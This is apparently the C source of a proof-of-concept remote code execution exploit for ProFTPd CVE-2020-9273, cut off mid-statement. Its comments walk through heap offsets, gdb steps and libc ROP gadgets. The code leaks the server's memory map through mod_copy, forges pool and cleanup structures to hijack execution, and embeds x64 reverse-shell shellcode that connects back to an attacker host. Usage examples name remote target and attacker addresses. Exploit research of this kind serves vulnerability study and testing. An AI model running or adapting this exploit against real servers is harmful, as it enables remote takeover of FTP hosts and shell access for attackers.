/* * ProFTPd Remote Code Execution exploit - CVE-2020-9273 * * exploit created by @dukpt_ * * gcc -o exploit_proftpd exploit_proftpd.c && ./exploit_proftpd * * * Revisions: * --------- * version 0.1 15/10/2020 first article and poc; * version 0.2 28/12/2020 demo exploit released, with hardcoded addresses; * (long pause) * version 1.0 16/08/2021 final exploit, for localhost testing; * version 1.1 24/02/2023 after a presentation I decided to take a look back * again and published some features I added in the past. There's * paper on the way, feel free to DM me if you're interested :) * Also, I added more comments so anyone can reproduce it. * * * Limitations: * ------------ * - have to manually change FTP_PORT, FTP_HOST, and RSHELL payload if you * want to attack remote targets; * - offsets may vary a lot from target/instance execution, so you probably * need to massage memory beforing finding the correct offsets of your * target, which means run the exploit repeatedly until offsets are fixed; * - tested on ProFTPd compiled with mod_copy only, if your target have more * modules built-in the offsets may change (didn'test this); * - libc offsets were calculated on Ubuntu 22.04.2 LTS; * - IPv4 addresses only, but you can easily addapt to IPv6; * - as you know, due to ASLR it is impossible to remotely predict the correct * memory address of the variables we need, so this exploit is the best I * could do to find them; there's a version of this exploit where I do not * use mod_copy, so I try to brute-force the correct memory address and * offsets; * - in summary, for this exploit to work you must be sure that: * gef➤ p->last = &p->cleanups * gef➤ p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18 * gef➤ p->sub_next = ((char *)&gid_tab->chains) - 0xc8 * gef➤ # in addition to that, you must know the offsets * gef➤ # you'll need to build a VM with the target you want * gef➤ # * gef➤ vmmap heap * Start End Perm Path * 0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap] * 0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap] * gef➤ set $start = 0x0000555555677000 * gef➤ set $end = 0x00005555556c5000 * gef➤ p/x (char *)resp_pool - $end # this is R offset * $32 = 0x236a0 * gef➤ p/x (char *)gid_tab - $start # this is G offset * $33 = 0x3e6d8 * gef➤ p/x (char *)session.curr_cmd_rec->notes - $start #this is S offset * $34 = 0x459c8 * gef➤ # now use the offsets above in the exploit command line * gef➤ # this does not garantess it will work!! * gef➤ # that's because of ASLR that will randomize server's memory * gef➤ # no mather how identical your machine is regarding your target * * * Notes on debugging and compilation: * ----------------------------------- * If you compile the exploit with these defines: * - gcc -D DEBUG1 = gives you control on the FTP session and allows you to * send commands to the FTP server before triggering the vulnerability. * Useful if you need to prepare the server beforehand or to discover new * comands to abuse after triggering the vulnerability; * - gcc -D DEBUG2 = gives you "3333 CCC\x77\x11\x11\x11\x11\x77\0" as the * last FTP command, useful if running the FTP locally and need to adjust * the offsets. * * If're adjusting the offset for your remote target, then I suggest you to * turn on -D DEBUG2 when compiling, and in gdb set the following breakpoint: * break pool.c:856 if c == 0x771111111177 * By doing this we'll know when you gain control over the execution. * Of course you can combine multiple -D options. * * Regarding ProFTPd server, during my tests it was compiled with: * ./configure --prefix=/usr/local --with-modules=mod_copy && make -j8 * * Add CFLAGS="-g" CXXFLAGS="-g" LDFLAGS="-g" in configure path if you want * to debug and start gdb the following way: * * I noticed that the vulnerability could also be triggered after timeouts * but the exploitation path seems the same. So I accelerated them adding * the following in configure script: * --enable-timeout-idle=60 * --enable-timeout-no-transfer=90 * --enable-timeout-stalled=120 * * Although there're not required, I noticed that the same exploitation * path could be used to trigger the vulnerability, but it seems to be * fixed in 1.3.7rc3 version as well. * * Useful information when crafting an exploit for your target * ----------------------------------------------------------- * * In the shell1 run: * $ sudo gdb -d src/ -d modules/ proftpd * gef➤ set args -d7 -n -c proftpd1.3.7rc2/sample-configurations/basic.conf * gef➤ handle SIGPIPE nostop pass * gef➤ handle SIGALRM nostop pass * gef➤ set follow-fork-mode child * gef➤ break pool.c:569 if (p && p->first >= 0x4141414141414141) * gef➤ r * * Now in shell2 compile & run the exploit: * $ gcc -g -o exp exploit_proftpd.c * $ ./exp 127.0.0.1 2121 poc cRapP@swd 127.0.0.1 4444 0x23690 0x326c8 0x399b8 * * The last 3 arguments are offsets that I calculated for resp_pool, gid_tab * and &session.curr_cmd_rec->notes memory address related to the initial and * end of the first heap memory block given to ProFTPd by the allocator. * These are mine offsets, and will change for every execution of the daemon. * Since it is fork'ed, the virtual memory space is inherited as well, so it * will change a couple of times - that's why you may have to massage the * memory before getting more accuracy, which means trying a couple of times * the same offsets. * * If you managed to have an environment exactly identitical to your target, * i.e. same architecture, OS version, kernel version, compiler, compilation * flags, libc, etc. then you *may* have success using this exploit. * The comands below can help to calculate the offsets when crafting your args: * * gef➤ vmmap heap * gef➤ set $start = 0x0000555555677000 # start of the 1st heap segment * gef➤ set $end = 0x00005555556c5000 # end of the 1st heap segment * gef➤ p/x (char *)resp_pool - $end # this will be the 1st offset arg * gef➤ p/x (char *)gid_tab - $start # this will be the 2nd * gef➤ p/x (char *)session.curr_cmd_rec->notes - $start # the 3rd and last * * And to calculate the gadgets: * gef➤ vmmap libc * gef➤ set $libc_base = 0x00007ffff7d46000 * gef➤ p $mblen_112 = (unsigned long long)mblen+112 - $libc_base * gef➤ p $gconv_close_transform_225 = (unsigned long long)__gconv_close_transform+225 - $libc_base * gef➤ p $do_dlopen_69 = (unsigned long long)do_dlopen+69 - $libc_base * gef➤ p $GI___lll_lock_wake_private_22 = (unsigned long long)__GI___lll_lock_wake_private+22 - $libc_base * gef➤ p $authnone_marshal_16 = (unsigned long long)authnone_marshal+16 - $libc_base * gef➤ p $iconv_197 = (unsigned long long)iconv+197 - $libc_base * * ------------------------------------------------------------------------------ * The steps below are not required, they can be used to be sure that the * addresses calculated by the exploit using the input parameters given are * correct when stoping at the breakpoint: * (gdb) p p->last = &p->cleanups * (gdb) p p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18 * (gdb) p p->sub_next = ((char *)&gid_tab->chains) - 0xc8 # (sometimes 0xe0 or 0xf8) * * Credits to: * -------- * Antonio Morales - who discovered the vulnerability; * @lockedbyte - gave the idea to compile with mod_copy and SITE CP(FR|TO) * /proc/self/maps file and RETR it from a temp directory, so we * have memory layout from the target. */ #include #include #include #include #include #include #include #include #include #include #include #include unsigned int get_remote_port(char *pasv_answer); unsigned long get_mem_addr(const char *what, FILE *fp, int index); #define exit_on_error(P) \ if (P) \ err(errno, NULL); #define RCVD_CTRL_BUFF_SIZE 0x200 // store responses of FTP control port #define RCVD_DATA_BUFF_SIZE 0xcafe // store responses of FTP data port #define SEND_BUFF_SIZE 0x280 // send data // must be bigger than 0x120 /* * These are fictitious structures, they do not represents the originals in * size, but they help to visualize how data is going to be on memory and * align our shellcode (trying to be didact here) */ struct pool_rec { unsigned char *first; unsigned char *last; unsigned char *cleanups; unsigned char *sub_pools; unsigned char *sub_next; unsigned char *sub_prev; unsigned char *parent; unsigned char *free_favail; unsigned char *tag; }; struct cleanup { unsigned char *data; unsigned char *plain_clnup_cb; unsigned char *child_clnup_cb; unsigned char *next; }; /* * These are some offsets that I managed to find during some tests I did. * These offsets may vary a lot. * I recommend you setup a VM from the same target OS you wish to attack and * study how these offsets will change. * gef➤ vmmap heap * Start End Perm Path * 0x0000555555679000 0x00005555556c6000 rw- [heap] * 0x00005555556c6000 0x0000555555753000 rw- [heap] (ignore) * gef➤ set $start = 0x0000555555679000 * gef➤ set $end = 0x00005555556c6000 * gef➤ p/x (char *)resp_pool - $end // R - resp_pool * gef➤ p/x (char *)gid_tab - $start // G - gid_tab * gef➤ p/x (char *)session.curr_cmd_rec->notes - $start // S */ enum { R1 = 0x20f20, G1 = 0x303d8, S1 = 0x37628 } offset1; enum { R2 = 0x20ea0, G2 = 0x30358, S2 = 0x37568 } offset2; enum { R3 = 0x20e90, G3 = 0x30308, S3 = 0x37558 } offset3; enum { R4 = 0x20f70, G4 = 0x3c428, S4 = 0x43638 } offset4; enum { R5 = 0x236a0, G5 = 0x3e6d8, S5 = 0x459c8 } offset5; /* * linux/x64 reverse shell shellcode. * * This shellcode connects back to 127.1.1.1 address on port 4444. * Listener needs to be opened before: nc -vl 127.0.0.1 4444 * I removed the need of password from original shellcode. * (if you want it just uncomment middle lines and change the passwd) * * Author: zerosum0x0 * https://github.com/zerosum0x0/SLAE64/blob/master/reverseshell/ * * PS.: I refused myself to download kali for msfvenom * */ size_t rshell_size = 90; unsigned char rshell[] = //"\xcc" // int3 (debugging only) "\x48\x83\xec\x08" // sub rsp, 0x8 "\x31\xf6" // xor %esi,%esi "\xf7\xe6" // mul %esi "\xff\xc6" // inc %esi "\x6a\x02" // pushq $0x2 "\x5f" // pop %rdi "\x04\x29" // add $0x29,%al "\x0f\x05" // syscall "\x50" // push %rax "\x5f" // pop %rdi "\x52" // push %rdx "\x52" // push %rdx "\xc7\x44\x24\x04\x7d\xff\xfe" // movl $0xfefeff7d,0x4(%rsp) "\xfe" "\x81\x44\x24\x04\x02\x01\x01" // addl $0x2010102,0x4(%rsp) "\x02" "\x66\xc7\x44\x24\x02\x11\x5c" // movw $0x5c11,0x2(%rsp) "\xc6\x04\x24\x02" // movb $0x2,(%rsp) "\x54" // push %rsp "\x5e" // pop %rsi "\x6a\x10" // pushq $0x10 "\x5a" // pop %rdx "\x6a\x2a" // pushq $0x2a "\x58" // pop %rax "\x0f\x05" // syscall //"\x31\xc0" // xor %eax,%eax //"\x0f\x05" // syscall //"\x81\x3c\x24\x5a\x7e\x72\x30" // cmpl $0x30727e5a,(%rsp) //"\x75\x1f" // jne 62 "\x6a\x03" // pushq $0x3 "\x5e" // pop %rsi "\xff\xce" // dec %esi "\xb0\x21" // mov $0x21,%al "\x0f\x05" // syscall "\x75\xf8" // jne 46 "\x56" // push %rsi "\x5a" // pop %rdx "\x56" // push %rsi "\x48\xbf\x2f\x2f\x62\x69\x6e" // movabs $0x68732f6e69622f2f,%rdi "\x2f\x73\x68" "\x57" // push %rdi "\x54" // push %rsp "\x5f" // pop %rdi "\xb0\x3b" // mov $0x3b,%al "\x0f\x05" // syscall "\x00"; char banner[] = "[*] ProFTPd <= 1.3.7rc2 CVE-2020-9273 exploit\n" "[*] default payload provides rshell on [attacker-host]:4444\n" "[*] exploit developed by @dukpt_\n"; void usage(char *cmd) { printf("[*] Use IP addresses instead of FQDN(s).\n"); printf("[*] Arguments are posicional in this poc:\n"); printf("%s [target-host] [target-port] [target-FTP-username] [target-FTP-password]" " [attacker-host] [attacker-port] or\n", cmd); printf("%s [target-host] [target-port] [target-FTP-username] [target-FTP-password]" " [attacker-host] [attacker-port] [resp_pool offset] [gid_tab offset] [session.curr_cmd_rec->notes offset]\n", cmd); printf("the offsets are in relation to the heap start and end addresses, see the exploit source code for more details\n"); printf("[*] Examples:\n"); printf("%s 206.189.94.209 2121 ftpuser \"cr@p$P4s$w0rd0*\" 123.45.67.89 4444\n", cmd); printf("%s 206.189.94.209 2121 ftpuser \"cr@p$P4s$w0rd0*\" 123.45.67.89 4444 0x236a0 0x3e6d8 0x459c8\n", cmd); } int main(int argc, char *argv[]) { int r=0, socketopt=1; size_t tmplen=0; int sock_ctrl = 0, sock_data = 0; char ftpcmd[50] = {0}, buf[RCVD_CTRL_BUFF_SIZE] = {0}; struct sockaddr_in sa_ctrl = {0}, sa_data = {0}; struct pool_rec resp_pool = {0}; struct cleanup cleanup = {0}; char *shellcode = NULL; char *maps = NULL; FILE *fmaps = NULL; unsigned int R=0; unsigned int G=0; unsigned int S=0; unsigned char *RESP_POOL = NULL; // resp_pool unsigned char *SESS_CURR_CMD_NOTES= NULL; // session.curr_cmd_rec->notes unsigned char *GID_TAB = NULL; // gid_tab unsigned char *CLEANUP_POINTER = NULL; // &p->sub_pools->cleanups? printf("%s\n", banner); if (argc != 7 && argc !=10) { usage(argv[0]); exit(1); } if (argc == 10) { sscanf(argv[7], "%x", &R); sscanf(argv[8], "%x", &G); sscanf(argv[9], "%x", &S); } shellcode = malloc(SEND_BUFF_SIZE); if(!shellcode) exit(3); memset(shellcode, SEND_BUFF_SIZE, sizeof(char)); // TODO: getaddrinfo instead of inet_addr, resolv DNS, parse args correctly, error check, etc. // Well, although this is an exploit, it is still a poc, and I don't intend to weaponized it // since it's hard to find exploit a cenario for this vulnerability be successful // (please read my article). /* address structure for FTP command connection */ sa_ctrl.sin_family = AF_INET; sa_ctrl.sin_port = htons(atoi(argv[2])); sa_ctrl.sin_addr.s_addr = inet_addr(argv[1]); /* address structure for FTP data connection */ sa_data.sin_family = AF_INET; sa_data.sin_addr.s_addr = inet_addr(argv[1]); /* connect to remote FTP and reads banner */ sock_ctrl = socket(AF_INET, SOCK_STREAM, 0); exit_on_error(sock_ctrl < 0); r = connect(sock_ctrl, (const struct sockaddr *)&sa_ctrl, sizeof(sa_ctrl)); exit_on_error(r < 0); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0); exit_on_error(r < 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; /* build and send USER and PASS login commands */ tmplen=strlen(argv[3]); memcpy(&ftpcmd[0], "USER ", 5); memcpy(&ftpcmd[5], argv[3], tmplen); /* increase if not enough */ memcpy(&ftpcmd[tmplen+5], "\r\n", 2); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; memset(ftpcmd, 0, 50); tmplen=strlen(argv[4]); memcpy(&ftpcmd[0], "PASS ", 5); memcpy(&ftpcmd[5], argv[4], tmplen); memcpy(&ftpcmd[tmplen+5], "\r\n", 2); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; if (r < 0 || !strcmp("230 ", buf) || !strcmp("logged in", buf)) { err(errno, "wrong user and/or password, can't continue."); } /* send TYPE I, so we can send NULL and other characters in the payload */ memset(ftpcmd, 0, 50); memcpy(ftpcmd, "TYPE I\r\n", 8); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); memset(buf, 0, RCVD_CTRL_BUFF_SIZE); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; exit_on_error(r <= 0); if (!strcmp("200 ", buf)) err(errno, "error TYPE I: %s", buf); #ifndef DEBUG1 /* * Thanks to @lockedbyte idea we're able to get a memory layout view using * SITE CPFR and SITE CPTO commands. Basically we copy /proc/self/maps to * a writable directory and them we RETR it, then we reflect memory heap * and libc base addresses into our offsets and payload. * The down side is that ProFTPd should have been compiled with mod_copy. * Also, chroot() protection should not be enforced by the server, so /proc * would not be acessible. */ memset(ftpcmd, 0, 50); memcpy(ftpcmd, "SITE CPFR /proc/self/maps\r\n", 27); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); sync(); /* required just on local connections, probably due to CoW */ memset(buf, 0, RCVD_CTRL_BUFF_SIZE); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; if ((r <= 0) || !strcmp("350 ", buf) || !strcmp("exists, ready for", buf)) err(errno, "error issuing SITE CPFR /proc/self/maps: %s", buf); memset(ftpcmd, 0, 50); memcpy(ftpcmd, "SITE CPTO /tmp/maps.txt\r\n", 25); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); memset(buf, 0, RCVD_CTRL_BUFF_SIZE); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; if ((r <= 0) || !strcmp("250 ", buf) || !strcmp("successful", buf)) err(errno, "error issuing SITE CPTO /tmp/maps.txt: %s", buf); /* * In the 1st version of this exploit I was using the FTP command PORT, so * invariably had to bind(), listen() and accept() for an incoming * connection. This also means that I had to fork() and waitpid() for it's * No problem with that, however I found much easier using PASV command, * that will activelly connect into FTP remote data port (I think this * what most of the FTP clients preferably do). * So I created another socket and sent data in serialized steps. * Also with PASV no need to open TCP ports on the router for remote * targets connections */ memset(ftpcmd, 0, 50); memcpy(ftpcmd, "PASV\r\n", 6); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); memset(buf, 0, RCVD_CTRL_BUFF_SIZE); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; if (r <= 0 || !strcmp("227 ", buf) || !strcmp("Entering Passive Mode", buf)) { err(errno, "%s", buf); } sa_data.sin_port = htons(get_remote_port(buf)); sock_data = socket(AF_INET, SOCK_STREAM, 0); exit_on_error(sock_data < 0); r = setsockopt(sock_data, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt)); exit_on_error(r < 0); r = connect(sock_data, (const struct sockaddr *)&sa_data, sizeof(sa_data)); exit_on_error(r < 0); /* * build and send RETR to download /tmp/maps.txt file. * We store it as mmap.txt in the current directory, we'll use it later. */ memset(ftpcmd, 0, 50); memcpy(ftpcmd, "RETR /tmp/maps.txt\r\n", 20); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); maps = malloc(RCVD_DATA_BUFF_SIZE); memset(maps, 0, RCVD_DATA_BUFF_SIZE); memset(buf, 0, RCVD_CTRL_BUFF_SIZE); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; r = recv(sock_data, maps, RCVD_DATA_BUFF_SIZE-1, 0); maps[RCVD_DATA_BUFF_SIZE-1] = '\0'; if (r <= 0 || !strcmp("226 ", buf) || !strcmp("Transfer complete", buf)) { err(errno, "%s", buf); } //sleep(1); if (sock_data) { close(sock_data); } fmaps = fopen("mmaps.txt", "w"); if (!fmaps) err(errno, "wtf can't I store a local file at current directory?"); r = fwrite(maps, sizeof(char), RCVD_DATA_BUFF_SIZE, fmaps); if (r < 20000) err(errno, "file is too small, are you sure you downloaded it? please check it"); fclose(fmaps); #endif memset(ftpcmd, 0, 50); memcpy(ftpcmd, "PASV\r\n", 6); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); memset(buf, 0, RCVD_CTRL_BUFF_SIZE); sync(); // seems to be required just on local connections sleep(1); // seems to be required just on local connections r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; if (r <= 0 || !strcmp("227 ", buf) || !strcmp("Entering Passive Mode", buf)) { err(errno, "%s", buf); } sa_data.sin_port = htons(get_remote_port(buf)); sock_data = socket(AF_INET, SOCK_STREAM, 0); exit_on_error(sock_data < 0); r = setsockopt(sock_data, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt)); exit_on_error(r < 0); r = connect(sock_data, (const struct sockaddr *)&sa_data, sizeof(sa_data)); exit_on_error(r < 0); /* * Now we're very close to trigger the vulnerability. * At this momment FTP control connection will not reply anymore until we * send some data on FTP data connection, so no need to recv() data. */ memset(ftpcmd, 0, 50); memcpy(ftpcmd, "STOR /tmp/aaa.txt\r\n", 19); printf("[+] %s", &ftpcmd[0]); r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0); sync(); // seems to be required just on local connections memset(buf, 0, RCVD_CTRL_BUFF_SIZE); r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0); buf[RCVD_CTRL_BUFF_SIZE-1] = '\0'; exit_on_error(r <= 0); if (!strcmp("200 ", buf)) err(errno, "error issuing \"STOR /tmp/aaa.txt\", verify write " \ "permissions to this directory\nIf error persist, try " "changing to /dev/shm/ or /run/lock/\n%s", buf); /* * Now it's time to extract the base addresses of heap and libc from mmaps * file and adjust the offsets that we'll use in the exploitation path. * We need to calculate the value of resp_pool pointer before issuing the * last FTP command. */ unsigned long heap1_start = 0L; unsigned long heap2_start = 0L; unsigned long libc_base = 0L; fmaps = fopen("mmaps.txt", "r"); exit_on_error(!fmaps); heap1_start = get_mem_addr("[heap]", fmaps, 0); // get the first occurence in /proc/xxx/maps printf("[+] heap1 begin: 0x%lx\n", heap1_start); heap2_start = get_mem_addr("[heap]", fmaps, 1); // get the last occurrence of heap printf("[+] heap2 begin: 0x%lx\n", heap2_start); /* * some systems libc is compiled with the name libc.*, other as * libc-2.*, so it really depends on your target. On Ubuntu 20 "libc-2" * works fine. On PopOS I'm using "libc.". On Ubuntu 22.04.01 "libc.so" * Just change below */ libc_base = get_mem_addr("/usr/lib/x86_64-linux-gnu/libc.", fmaps, 0); printf("[+] libc begin: 0x%lx\n", libc_base); if (fmaps) fclose(fmaps); /* * see offset calculations above. * Here you should try all possibilitites R[1234..], G[1234..], S[1234..] * The number should be the same on each R, G and S. * Try 5 times each of them. Then restart it again. Sorry about that * but ASLR plays a huge impact on exploiting memory of remote targets. * You can also manually provide your offsets by adding last arguments * to the exploit call. * If you're sure about the memory conditions on the target, then you * can pass the offsets as args to the exploit. To get the offsets do: * gef➤ vmmap heap * Start End Offset Perm Path * 0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap] * 0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap] * set $start = 0x0000555555677000 * set $end = 0x00005555556c5000 * set $R = (char *)resp_pool - $end * set $G = (char *)gid_tab - $start * set $S = (char *)session.curr_cmd_rec->notes - $start * gef➤ p/x $R * $42 = 0x236a0 * gef➤ p/x $G * $43 = 0x3e6d8 * gef➤ p/x $S * $44 = 0x459c8 * # take note of them and pass those values as args to the exploit * set p->last = &p->cleanups * set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18 * set p->sub_next = ((char *)&gid_tab->chains) - 0xc8 */ if (R==0 && G==0 && S==0) { R = R5; // remember to try other values, like R1, G1, S1 G = G5; // or R2, G2, S2, etc. S = S5; // use always the same numbers with the letters } printf("[+] R=0x%x, G=0x%x, S=0x%x\n", R, G, S); RESP_POOL = (unsigned char *)heap2_start + R; // heap2_start + R10 == resp_pool GID_TAB = (unsigned char *)heap1_start + G; // heap1_start + G10 == gid_tab SESS_CURR_CMD_NOTES = (unsigned char *)heap1_start + S; // heap1_start + S10 == session.curr_cmd_rec->notes CLEANUP_POINTER = (RESP_POOL+0x48); unsigned char *MPROTECT_RDI = (unsigned char *)((unsigned long)RESP_POOL & 0xfffffffffffff000); // initial memory page address to mprotect unsigned char *mblen_112 = (unsigned char *)libc_base + 0x45eb0; // : pop rax; ret unsigned char *__gconv_close_transform_225 = (unsigned char *)libc_base + 0x2be50; // <__gconv_close_transform+225>: pop rsi; ret unsigned char *do_dlopen_69 = (unsigned char *)libc_base + 0x174f95; // : pop rax; pop rdx; pop rbx; ret unsigned char *__GI___lll_lock_wake_private22 = (unsigned char *)libc_base + 0x91396; // <__GI___lll_lock_wake_private+22>: syscall; ret unsigned char *authnone_marshal_16 = (unsigned char *)libc_base + 0x15d200; // : push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18] unsigned char *__GI___strtod_nan_107 = (unsigned char *)libc_base + 0x507bb; // pop rsp; add rsp, 0x18; pop rbx; pop rbp; ret unsigned char *iconv_197 = (unsigned char *)libc_base + 0x2a3e5; // : pop rdi; ret; (OLD: pop rdi; add rsp,0x18; pop rbx; pop rbp; ret unsigned char *RETURN_TO_SHELLCODE = RESP_POOL + 0xb8; // this is where shellcode will be /* * We need to send CRAP xxxxxx since the parameter is not upper cased. * Also the command should be at most 4 in lenght. */ //r = send(sock_ctrl, (void *)"SITE CPFR /home/poc/oi.txt\r\n", 28, 0); //sleep(5); //sync(); // seems to be required just on local connections //r = send(sock_ctrl, (void *)"SITE CPTO /home/poc/dddddd\r\n", 28, 0); //sleep(5); #ifdef DEBUG1 printf("[DEBUG1] If you want, you can change the values of last commands.\n"); printf("[DEBUG1] Your command must NOT start with \".\"\n"); printf("[DEBUG1] Inside gdb you can send as many comamands you want, e.g.:\n"); printf("[DEBUG1] gef➤ p buf=\"STOR /tmp/kkk.txt\\r\\n\"\n"); printf("[DEBUG1] gef➤ p buf=\"RANG\\r\\n\"\n"); printf("[DEBUG1] gef➤ p buf=\"HELP\\r\\n\"\n"); printf("[DEBUG1] gef➤ Then type c to process it:\n"); printf("[DEBUG1] gef➤ c\n"); printf("[DEBUG1] When done sending, do the following on gdb:\n"); printf("[DEBUG1] gef➤ p buf=\".\\n\"\n"); printf("[DEBUG1] Note that you will not receive the output of the command sent.\n"); printf("[DEBUG1] If you really need, type in gdb before:\n"); printf("[DEBUG1] gef➤ p debug1_recv=1\n"); size_t debug1_size_buf=0; size_t debug1_recv=0; loop_debug1_start: memset(buf, 0, RCVD_CTRL_BUFF_SIZE); //asm("int3"); debug1_size_buf = strlen(buf); if (debug1_size_buf > 0) { if (buf[0] == '.') goto loop_debug1_end; r = send(sock_ctrl, (void *)buf, debug1_size_buf+1, 0); sleep(1); sync(); // seems to be required just on local connections if (debug1_recv==1) { send(sock_data, (void *)"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\0", 35, 0); sync(); // seems to be required just on local connections r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0); sync(); // seems to be required just on local connections printf("[DEBUG1] received: %s\n", buf); } } goto loop_debug1_start; loop_debug1_end: #endif r = send(sock_ctrl, (void *)"1111 AAAAAAAAAAAAAAAAAAAAAAAAA\r\n", 32, 0); sync(); // seems to be required just on local connections r = send(sock_ctrl, (void *)"2222 BBBBBBBBBBBBBBBBBBBBBBBBB\r\n", 32, 0); sync(); // seems to be required just on local connections memset(buf, 0, RCVD_CTRL_BUFF_SIZE); memcpy(buf, "3333 CCC", 8); memcpy(&buf[8], &CLEANUP_POINTER, 8); // CLEANUP_POINTER = RESP_POOL + 0x48, first ROP gadget #ifdef DEBUG2 /* src/pool.c: * 854 static void run_cleanups(cleanup_t *c) { * 855 while (c) { * 856 if (c->plain_cleanup_cb) { * 857 (*c->plain_cleanup_cb)(c->data); * 858 } * 859 * 860 c = c->next; * 861 } * ────────────────────────────────────────────────────────────────────────── * gef➤ p *c * $6 = { * data = 0x560f1919d6f8, * plain_cleanup_cb = 0x7711111111111177 # first ROP gadget * child_cleanup_cb = 0x4141414141414141, # will be our stack * next = 0x9090909090909090 * } * now in gdb break pool.c:856 if c == 0x771111111177 */ memcpy(buf, "3333 CCC\x77\x11\x11\x11\x11\x77\0", 15); // we should not send real commands, e.g. "APPE" otherwise CVE-2020-9274 will be triggered and mess up with our payload #endif r = send(sock_ctrl, (void *)buf, 15, 0); sleep(1); sync(); // seems to be required just on local connections if (sock_ctrl) { printf("[+] closing FTP and triggering the vulnerability\n"); //close(sock_ctrl); shutdown(sock_ctrl, SHUT_RDWR); } else { printf("\n[-] humm strange, why socket is already closed?!\n"); } resp_pool.first = (char *)0xCAFECAFECAFECAFE; // resp_pool + 0x00 resp_pool.last = RESP_POOL + 0x10; // resp_pool + 0x08, p->last = &p->cleanups resp_pool.cleanups = (char *)0x4444444444444444; // resp_pool + 0x10, must be greater than p->sub_next resp_pool.sub_pools = SESS_CURR_CMD_NOTES - 0x28 + 0x18; // resp_pool + 0x18, p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18 resp_pool.sub_next = GID_TAB - 0xc8; // resp_pool + 0x20, p->sub_next = ((char *)&gid_tab->chains) - 0xc8 # sometimes 0xe0 or 0xf8 resp_pool.sub_prev = (char *)0x4141414141414141; // resp_pool + 0x28 resp_pool.parent = (char *)0x4141414141414141; // resp_pool + 0x30 resp_pool.free_favail = (char *)0x4141414141414141; // resp_pool + 0x38 resp_pool.tag = (char *)0x4444444444444444; // resp_pool + 0x40, pop rsp; ret cleanup.data = (char *)RESP_POOL + 0x68; // resp_pool + 0x48, our new rsp, doing stack pivoting, &cleanup->next + 0x8 cleanup.plain_clnup_cb = authnone_marshal_16; // resp_pool + 0x50, : push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18] cleanup.child_clnup_cb = (char *)0x4141414141414141; // resp_pool + 0x58 cleanup.next = (char *)0x9090909090909090; // resp_pool + 0x60: crap /* build our final shellcode to be sent throught the FTP data port */ memcpy(&shellcode[0x00], &resp_pool.first, 8); // not used, this is our "token" in memory memcpy(&shellcode[0x08], &resp_pool.last, 8); // address of &p->cleanups below memcpy(&shellcode[0x10], &resp_pool.cleanups, 8); // must be a high value, so 0x4141414141414141 memcpy(&shellcode[0x18], &resp_pool.sub_pools, 8); // (char *)&session.curr_cmd_rec->notes->chains - 0x28 + 0x18 memcpy(&shellcode[0x20], &resp_pool.sub_next, 8); // (char *)&gid_tab->chains - 0xc8 memcpy(&shellcode[0x28], &resp_pool.sub_prev, 8); // memcpy(&shellcode[0x30], &resp_pool.parent, 8); // this is our future stack that we'll mprotect memcpy(&shellcode[0x38], &resp_pool.free_favail, 8); // not used, so 0x4141414141414141 memcpy(&shellcode[0x40], &resp_pool.tag, 8); // memcpy(&shellcode[0x48], &cleanup.data, 8); // c->data = &resp_pool->tag (this will be our stack in $rdi) memcpy(&shellcode[0x50], &cleanup.plain_clnup_cb, 8); // c->plain_cleanup_cb = : push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18] memcpy(&shellcode[0x58], &cleanup.child_clnup_cb, 8); // 